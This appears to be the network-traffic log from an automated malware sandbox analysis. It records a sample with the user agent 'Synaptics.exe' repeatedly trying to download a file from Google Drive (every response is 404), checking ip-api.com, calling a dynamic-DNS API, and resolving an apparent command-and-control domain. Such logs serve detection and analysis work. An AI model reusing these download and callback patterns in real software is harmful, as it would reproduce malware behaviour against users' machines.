Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7qbZfek9BT6MJEMjYhTUOh5fodrrqXrkF6ZoftTpzqtSJB2r-fNE5qL-RwhSC4R3LKContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:47 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4yk7taJWmJ2BrFNn8tZ4Ow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=hGHN74XvMhDFVOneuJejqr2XJjQQ_jC7waacGUlH4AYvcnAx13Qivz4JRRBfIRp3dc2vuFLTRwMz8FFkBLUOgQsMNTRHw39NYcI8XFKHIWjKMcqMXbtsOif0UI15ZeM81xNY-cFu-FQOQyrS43LA3s0wR4WbK3StyQMj4cXLrhPvugg8gKojM20; expires=Fri, 04-Jul-2025 19:10:47 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6ypu8MGJP0jSCJfgAoFt65iUVkw_bIZwRSayyB9K6LWwL25-afmJOrVZ3tV1AnbRB6Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:48 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Jra8_l-zLZbOntkNh37KOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerSet-Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep; expires=Fri, 04-Jul-2025 19:10:47 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7peKYs4STZJz9twPeqk0CGD6_YSHQMmwvzyPG5huwsOzkxR72QwYHbv-gQnivSvVPC9YQPuTsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:48 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-_7TNu-6nmTeITMMhRKSxGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d; expires=Fri, 04-Jul-2025 19:10:48 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4BYfK0NA3k7OaTj6lgg8sssMIlF8ssWRXg4_ZqV2REuqV2_AHUWjZxAkk3UZK1hZgEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:49 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Z7U3-d3ad1OXTXfgBmp7QQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5BdtYMFUVgO4nVTa6T-UQoQgxcNttTW6cy87IgW6cvfyhGVyCS2dcMKRSuImtrCnVjI3lRTd0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:50 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-l2ys9zAs0uTP9gavPt1HEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5wijWlr_GnmX9uknHhnZRCw6z5O5V6d9vpzRXNSBvJl1NYIjmOwv27b67sB7wgUeuFContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:51 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-7tBWWs2kmOV_kU_4K_uQTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4Sp14siBfjUojkUtGmta-nHM7362KJJpPepaZam0yXOZf7WU0LgSw0BX1J8n8H0gQaKl7bZawContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:52 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-iB78j2Q7bP8gn9MROjPtkQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6v1QRiR6yYNRAT9AQF9KOHatXowKdota7_XLeY9lsrHrsYUdD06q2IErQDRcNir8kzContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:52 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-RuNviVxGNiEMJ3RSw80v7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5NuUC8g644Iya9IucrI7RQiy6uteBs4v2Civ8rKvixyiWL09lu0wYFxwOCLsQYpCxAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:53 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-wgifM7y61Mc8HVBSDCrk9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC61hmVmVqe6GKHone9iWm94CD_YnfFycv8HcKPidX3GS0cPslZNq-oJ72PJOoMBro1QAxbQW8EContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:53 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-2YiAOvUZN_Z3mHgMfNFR0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6c3XIAVCTy1HJnu2ExNX0kofmvgmkvUAd7QG-H_cHcNKWGT-EVj7imGYnWGZFV83gcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:54 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-xndgHBXuvM3iGWt-nkeNnw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4tcu_I7XerSffiRbjnDtsyYKZ2Gu5PTbDZ__QnuKFCDjmr6lXtdQfqipgE36YRmyutContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:56 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-gTeAO6vy2yjcg0CQVEjeLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4cT7BYBj9fbMLhdKH4z-Wh80y2yq5xB7BAgxFzIyg7P5AjE6fB8HXkWQiOhHh1eWpsmF3B1EoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:56 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-UKVR5P5b-rceVVlxHKBe7Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6EUO55X61NqUhKFpJMAPFE3-H0yMAp_mPK9eCwKX3RMBtb5BlnEhvhlMaUbXWyFUTeContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:10:57 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-RXsgIFexbOOJOOre9IsHPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
